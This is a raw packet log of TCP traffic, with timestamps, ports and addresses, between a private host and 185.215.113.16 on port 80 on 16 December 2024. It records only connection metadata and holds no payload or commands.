Dec 16, 2024 15:38:28.628979921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.629005909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.629224062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.629235983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.629271030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.629410982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.629421949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.629434109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.629458904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.630001068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.630068064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.630081892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.630110979 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.630139112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.630156040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.676084042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.746803999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.746840954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.746857882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.746980906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.747004032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.747041941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.747245073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.747428894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.747443914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.747476101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.747517109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.747551918 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.747997046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748123884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748140097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748155117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748188972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.748208046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.748811960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748836040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748851061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.748874903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.748975992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.749012947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.749578953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.749691010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.749706030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.749738932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.749861002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.749973059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.750363111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.750794888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.750808954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.750824928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.750839949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.750873089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.751144886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.751178980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.751190901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.751233101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.751509905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.751590967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.751945019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.751988888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.752003908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.752029896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.752191067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.752242088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.752958059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753026962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753041029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753078938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.753587961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753644943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.753654003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753669024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753843069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753856897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.753875017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.753901005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.754307985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.754378080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.754390001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.754412889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.754450083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.754481077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.755470037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755481005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755500078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755516052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755522966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.755544901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.755888939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755947113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755960941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.755992889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.756078959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.756118059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.756844044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.756895065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.756911039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.756948948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.757064104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.757101059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.757772923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.757858992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.757864952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.757908106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.758069038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.758131027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.758657932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.758733034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.758747101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.758771896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.758891106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.759037018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.759423971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.759820938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.759835958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.759855032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.759875059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.759902000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.814511061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814624071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814698935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.814709902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814728022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814867973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814922094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.814944029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.814966917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.815000057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.815016031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.815027952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816009998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816034079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816046953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816068888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816092014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816107988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816133022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816149950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816179991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816209078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816832066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816909075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816920042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.816948891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816977024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.816993952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.817645073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.817687035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.817727089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.817847013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.817888975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.871181965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871269941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871284008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871300936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871320009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.871351004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.871510029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871547937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871563911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871596098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.871632099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.871670008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.872208118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.872343063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.872356892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.872395039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.872951984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.872991085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.873023033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873042107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873147011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873183966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.873543978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873583078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.873601913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873615980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.873656034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.873693943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874270916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874288082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874324083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.874370098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874383926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874407053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.874933958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.874974012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.875010014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.926107883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.939255953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939325094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939342976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939380884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.939404964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939560890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.939651012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939719915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939735889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.939760923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.940088987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.940130949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.940402985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.940463066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.940479040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.940511942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.940537930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.940572023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.941242933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.941318035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.941334009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.941370964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.941376925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.941411018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.942017078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942059994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942075968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942111015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.942219973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942255974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.942867994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942883968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942898989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942933083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.942939997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.942972898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.943583012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.943662882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.943675995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.943710089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.943747044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.943779945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.944343090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.944449902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.944466114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.944493055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.944506884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.944541931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.945214987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945283890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945322990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.945415974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945430994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945486069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.945904970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945981026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.945997953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.946036100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.946129084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.946168900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.946727991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.946767092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.946782112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.946821928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.947016001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.947052002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.947515965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.947570086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.947585106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.947626114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.947650909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.947686911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.948313951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.948386908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.948401928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.948441029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.948498011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.948539019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.949104071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949176073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949188948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949228048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.949251890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949287891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.949877977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949928045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949940920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.949979067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.950016022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.950052977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.950651884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.950720072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.950736046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.950772047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.950808048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.950844049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.951488018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.951551914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.951565981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.951612949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.954153061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.006664991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.006690979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.006705046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.006767035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.006786108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.006833076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.007015944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007122040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007134914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007177114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.007513046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007553101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.007570028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007581949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.007620096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.007658958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.008342981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.008366108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.008379936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.008405924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.008429050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.008488894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009102106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009141922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.009160042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009171009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009217978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.009248018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009919882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.009983063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.010023117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.064899921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.064915895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.064934969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.064949036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.064974070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.064995050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.065026045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065079927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065094948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065124035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.065557003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065613031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065629005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065701008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.065727949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.066253901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.066309929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.066325903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.066339016 CET	80	49747	185.215.113.16	192.168.2.6
